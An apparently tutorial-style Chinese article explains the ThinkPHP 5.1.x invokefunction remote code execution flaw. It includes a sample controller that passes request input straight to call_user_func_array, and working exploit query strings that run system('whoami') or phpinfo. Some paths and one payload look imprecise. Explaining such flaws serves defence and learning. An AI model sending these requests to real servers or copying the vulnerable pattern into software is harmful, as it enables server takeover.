thinkphp 5.1.x 的 ?s=index/\think\app/invokefunction 能 rce,是因为框架的路由解析逻辑将 url 路径中的方法名直接映射到了 \think\app 控制器的 invokefunction 方法,该方法接收 function 和 vars 参数,并通过 call_user_func_array 执行任意函数。攻击者只需在 get 请求中指定 function=phpinfo(或 system)及对应的参数数组 vars[]=...,即可触发远程代码执行。

\think\route\Rule 如何将 URL 解析为控制器和方法?
当 ThinkPHP 5.1.x 接收到请求时,路由组件会分析 s 参数(即 URL 路径)。对于 index/\think\app/invokefunction 这种结构,路由器将其拆解为模块 index、控制器 \think\app 和方法 invokefunction。由于 \think\app 是框架内置的一个特殊控制器,且其方法通常没有严格的权限校验或输入过滤,这部分解析逻辑直接导致了后续的危险调用。

namespace app\controller;
use think\facade\Request;
class Index
{
public function index()
{
// 模拟触发 RCE 的请求参数
$function = Request::param('function');
$vars = Request::param('vars', []);
if ($function && is_callable($function)) {
// 这里模拟 invokefunction 的行为
call_user_func_array($function, $vars);
}
}
}
\think\app 控制器中的 invokefunction 方法具体做了什么?
\think\app 控制器位于 thinkphp\library\think\app.php。其 invokefunction 方法的核心逻辑如下:它从请求中获取 function 参数作为要执行的函数名,获取 vars 参数作为函数的参数数组。然后,它直接使用 PHP 的 call_user_func_array 函数来执行这个调用。由于没有对 function 的值进行白名单限制,攻击者可以传入任何可调用结构,如 system, exec, phpinfo 等。
立即学习“PHP免费学习笔记(深入)”;

// thinkphp/library/think/app.php 核心片段
public static function invokefunction($function, $vars = [])
{
return call_user_func_array($function, $vars);
}
// 攻击者构造的请求示例:
// ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[]=phpinfo&vars[0]=
// 或者更直接的:
// ?s=index/\think\app/invokefunction&function=system&vars[]=whoami
如果修改 function 参数为 phpinfo 而不传 vars,会发生什么?
如果攻击者仅设置 function=phpinfo 而未提供 vars 参数,invokefunction 方法会将 vars 默认为空数组 []。此时,call_user_func_array('phpinfo', []) 将被执行。由于 phpinfo() 函数不需要任何参数,这将成功输出 PHP 的环境信息。如果尝试执行需要参数的函数(如 system('ls'))但未正确传递 vars 数组,则可能导致函数因参数缺失而失败或抛出警告,但不会阻止对无参函数的执行。因此,确保 vars 数组的结构与目标函数签名匹配是关键。



















